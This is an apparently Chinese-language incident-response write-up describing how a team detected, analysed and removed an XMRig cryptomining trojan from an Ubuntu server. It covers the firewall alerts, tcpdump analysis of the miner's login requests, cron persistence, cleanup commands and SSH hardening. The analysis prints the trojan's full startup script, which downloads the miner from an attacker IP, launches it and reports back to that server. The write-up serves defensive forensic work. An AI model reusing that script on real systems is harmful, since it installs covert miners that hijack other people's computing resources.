一次处理挖矿木马的记录,从流量异常到揪出 XMRig 的过程

目录

一、事件描述

发现威胁,防火墙日志告警

在一次安全巡检中,我们发现,防火墙的安全日志中,有持续性安全威胁告警,级别为严重。

初步分析,告警日志说了什么?

打开一条告警日志,大致内容是这样的:

告警名称:挖矿活动多币种:CoinMiner知名恶意软件Stratum Authline,级别为"严重"。

源IP 47.76.62.16 与目的IP 192.168.50.108:41334 之间通过 TCP 协议通信。

处理动作:仅记录日志,未阻断。

这说表明,内网主机 192.168.50.108 参与挖矿活动,通信对端为公网 IP,固定端口为19999,属于典型矿池连接行为。防火墙检测到恶意行为,但策略仅设为记录,未采取拦截措施。

二、定位受害主机

通过IP地址,找到受害主机

防火墙日志中给出了受害主机的IP地址。通过IP,我们可以很快锁定主机位置,这是一台位于主机房的IP为192.168.50.108 的ubuntu虚拟机。

登录系统,看看谁在用端口19999:

因为告警日志中,外部主机通过19999的固定端口通信,那么,我们只需在受害主机中查看谁在用这个端口,那么病毒就是谁。

c 复制代码
lsof -i :19999   # 列出当前系统中所有监听或使用 TCP/UDP 端口 19999 的进程信息
netstat -antp | grep 19999  #查找19999端口的监听情况和相关进程信息

通过上述命令,发现有一个名为 xmrig 的可疑进程,以 root 身份运行,主动向外连接。至此,已经能确认该主机为受害主机。

三、详细分析病毒行为

抓包,获取到进出端口 19999 的数据包

为了分析木马程序入侵电脑后到底在干啥?对电脑数据造成了哪些损失?我们必须进行抓包分析。也就是要弄清楚,受害主机连接攻击目标后,传了什么数据给攻击者。

ubuntu系统中,可使用tcpdump命令抓取流量包,具体如下:

c 复制代码
tcpdump -i any -s 0 -X port 19999   #在所有网络接口上捕获所有到达或发送到端口 19999 的数据包,以十六进制和ASCII格式显示原始内容。

包分析,明确木马程序在干啥?

通过抓包内容输出看,受害主机每隔约 6 秒就向三个公网 IP(47.239.137.224、47.76.62.16、8.218.76.40)的 TCP 19999 端口发起连接。每次连接完成三次握手后,立即发送一个 1525 字节 的 PUSH 数据包,随后服务器回复 RST 包中断连接。整个过程反复循环。

深度分析,看看受害者发给攻击者的数据是啥?

从上面的分析可以看出,受害主机每隔几秒,就发给攻击者1525字节的数据包。那么,这部分数据到底是什么?

从前面的详细抓包输出中,我们提取出这1525字节的数据包中的有效数据,其中发现是一个完整的 JSON-RPC 请求:

c 复制代码
json
{
  "id": 1,
  "jsonrpc": "2.0",
  "method": "login",
  "params": {
    "login": "44pJQJmZNPxGYMqW...(长字符串)",
    "pass": "PNET_Shell",
    "agent": "XMRig/6.22.0-C5 (Linux x86_64) libuv/1.48.0 gcc/13.2.1",
    "algo": ["cn/0","cn/1",...,"rx/0",...],
    "algo-perf": {...}
  }
}

agent 字段明确指出这是 XMRig 6.22.0-C5,一款门罗币挖矿软件。method 为 login,表示向矿池代理发送登录认证。algo-perf 包含了各算法在本机实测的算力值。

现在,可以确认主机已被植入门罗币挖矿木马,可能企图利用 CPU 资源进行加密货币挖矿。而受害主机持续发送给攻击者的1525字节的数据,是 XMRig 矿机的登录认证请求,向矿池代理上报自身支持的挖矿算法以及各算法的实测算力。如果连接成功,攻击者将利用该主机作为"矿工",进行门罗币挖矿。

但从抓包分析中得出结论,服务器返回 RST,认证失败或策略拒绝,但木马程序仍反复发送相同的 login 请求,可见病毒程序在持续运行。

四、核实主机受损害情况

最主要的,看看数据是否受损

在被病毒攻击后,最严重的情况就是电脑中的数据受损,如重要信息泄露,损坏等情况。 但通过抓包分析,受害主机始终没有成功连接到攻击主机。每次发送的数据包,只是认证信息,所以,这次攻击行为,没有造成数据方面的损失。

木马程序造成的其它损害

资源消耗,木马进程持续连接,会消耗cpu资源,导致系统环境卡顿,其他服务响应缓慢。

木马可能设置多种自启动方式,确保重启后复活。

攻击者可能已经通过挖矿木马建立了后门通道,暂时没发现受害主机向内网其他主机扫描或攻击的迹象。

五、定位病毒位置

在受害主机上, 找到可执行文件

我们知道了病毒的进程为xmrig,这是在前面抓包分析中,通过端口19999锁定的。那么就可以通过如下命令找到病毒文件所在的位置:

c 复制代码
ls -l /proc/$(pgrep xmrig)/exe

发现 xmrig 位于 /etc/zz/xmrig,同目录下还有 config.json 和一个名为 ls 的文件。查看 /etc 目录,存在一个脚本 /etc/zz.sh。这些文件的权限均为 777。

上面的这些文件,都是木马程序的组成部分。

六、分析病毒运行机制

既然找到了病毒文件的位置,我们有必要弄清楚,病毒文件在系统中是怎么启动和运行的,这是彻底清除病毒的前提。

如果我们只删除了病毒文件,忽略了病毒文件的来源及运行机制,那么它们还会死灰复燃。

看启动脚本,病毒文件可能靠它自启动

先打开启动脚本 /etc/zz.sh :

c 复制代码
#!/bin/bash
if ! pgrep -x "xmrig" > /dev/null; then
    if [ ! -f /etc/zz/config.json ] || [ ! -f /etc/zz/xmrig ]; then
        curl http://47.122.21.201/info.php?str=XMR_download
        mkdir -p /etc/zz && cd /etc/zz
        wget http://47.122.21.201/config.json
        wget http://47.122.21.201/xmrig
        chmod 777 xmrig
    fi
    curl http://47.122.21.201/info.php?str=XMR_restart
    threads=$(echo "($(nproc) * 0.5 + 0.999)/1" | bc)
    cd /etc/zz
    screen -dmS xmrig_session ./xmrig -c config.json -t $threads
    sleep 5
    pgrep -x "xmrig" && curl http://47.122.21.201/info.php?str=XMR_restart_success
fi

这个启动脚本的大概功能是:

检查 xmrig 是否运行;若未运行且文件缺失,就从 47.122.21.201 下载配置文件和二进制;根据 CPU 核心数计算一半的线程数(向上取整);通过 screen 后台启动挖矿程序;最后向攻击者控制的服务器回传成功或失败的状态。

那么,是谁启动了这个脚本呢?

打开计划任务:

c 复制代码
cat  /etc/crontab

crontab 中存在一行关于zz.sh这个脚本的定时启动信息,这可能是为保证系统每次重启后自动启动挖矿程序。未发现其他自启动项。

七、病毒入侵方式分析

到此为止,我们找到了木马程序,基本搞清了它的运行方法。

但是,我们还有个疑问,它是什么时候,通过什么方式侵入到我主机的。对此疑问,我们通过现有的条件,进行了简单的分析:

中毒时间线梳理

2026-05-19 07:50 ~ 07:59:/var/log/auth.log 中,出现密集的 sudo 命令循环( rm -f /root/.toprc、nproc --all、top -n2 -c -b -w 512)。这可能是自动化脚本执行,不像人为操作,如下图所示:

2026-05-19 08:00:/etc/zz/ 目录被创建,xmrig 和 config.json 被下载。可见,主机中毒事件为2026年05月19

入侵途径分析

查看SSH 登录日志:在07:50 之后,没有发现登录记录,扩大搜索范围也没有找到明显的外来登录 的IP。

由此推断可能的原因为:

攻击者利用了Web 管理界面的已知漏洞,直接执行命令下载木马,这一点暂无法确定。

SSH 登录日志可能已被攻击者清理,或使用了非标准的 SSH 端口。

由此推测可能的入侵过程为:

由于没有确切的日志信息,只能通过上述分析,进行推测攻击过程。

攻击者可能扫描到目标主机开放的 22 端口(或 Web 面板),通过弱密码或漏洞获取 root 权限。

上传 /etc/zz.sh 脚本并执行,脚本执行后下载挖矿程序,并添加计划任务确保重启生效。

八、清除病毒

停止恶意进程

c 复制代码
pkill -9 xmrig

删除木马文件及脚本

c 复制代码
rm -rf /etc/zz /etc/zz.sh

清理计划任务

c 复制代码
crontab -e   # 删除病毒脚本行

**其它检查 **

c 复制代码
grep :0: /etc/passwd        # 确保无非法超级用户
ls -la /root/.ssh/          # 检查是否添加了恶意公钥

九、网络加固

阻断恶意 IP 通信

在边界防火墙或主机 iptables 中,将以下 IP加入黑名单:

c 复制代码
47.239.137.224

47.76.62.16

8.218.76.40

47.122.21.201(木马下载源)

加强 SSH 安全

禁止 root 直接登录:PermitRootLogin no

使用密钥认证,禁用密码登录

更改 SSH 默认端口(如 2222)

十、经验总结

流量分析是发现未知威胁的利器

普通的杀毒软件可能无法第一时间检测到变种挖矿木马,但通过定期的流量抓包分析,能快速发现异常外联行为(如非常规端口、周期性连接、特定长度数据包)。

很多木马使用 JSON、HTTP 等明文协议,通过 tcpdump -X 可直接看到攻击者的指令内容,这是铁证。

不要忽略计划任务

crontab -l 是应急响应必查项目,许多木马通过 @reboot 实现持久化,比 systemd 更隐蔽。

完整的日志很重要

本次分析中,SSH 登录日志缺失导致无法精准定位入侵方式。建议生产环境配置远程日志存储(如 rsyslog 发送到日志服务器),防止攻击者本地清除痕迹。

及时清理后门并加固

清除木马后必须彻底排查所有可能的后门入口(SSH 公钥、计划任务、系统服务),否则攻击者可能再次进入。

相关推荐
森G1 小时前
61、信号与槽机制在 TCP 编程中的应用---------网络编程
网络·c++·qt·网络协议·tcp/ip
zyplayer-doc1 小时前
企业知识库安全与权限管理完全指南:从加密到审计的六层防护
人工智能·安全·pdf·编辑器·创业创新
swordbob3 小时前
NIO 的 Channel 里有多个 BIO 吗?
linux·网络·nio
天天讯通3 小时前
OKCC 呼叫中心安全性能全解析:技术防护与管理措施指南
大数据·开发语言·网络·人工智能·安全·语音识别
志栋智能3 小时前
超自动化运维如何提升安全合规水平?
运维·安全·自动化
IT新视界4 小时前
星环科技ArgoDB:基于一体化架构构建数据全生命周期安全底座
数据库·科技·安全·架构
leo_yu_yty5 小时前
Go语言分布式计算(RPC入门)
网络·网络协议·rpc
2401_868534785 小时前
2025下半年网络规划设计师真题(选择题、案例分析)
运维·服务器·网络
TechWayfarer6 小时前
查IP归属地接入实战:保险理赔如何做动态风险监控与预警
网络·python·tcp/ip·安全·flask
Resurgence_zc6 小时前
openGauss 资源池化主备页面交互流程梳理
网络·交互·数据库开发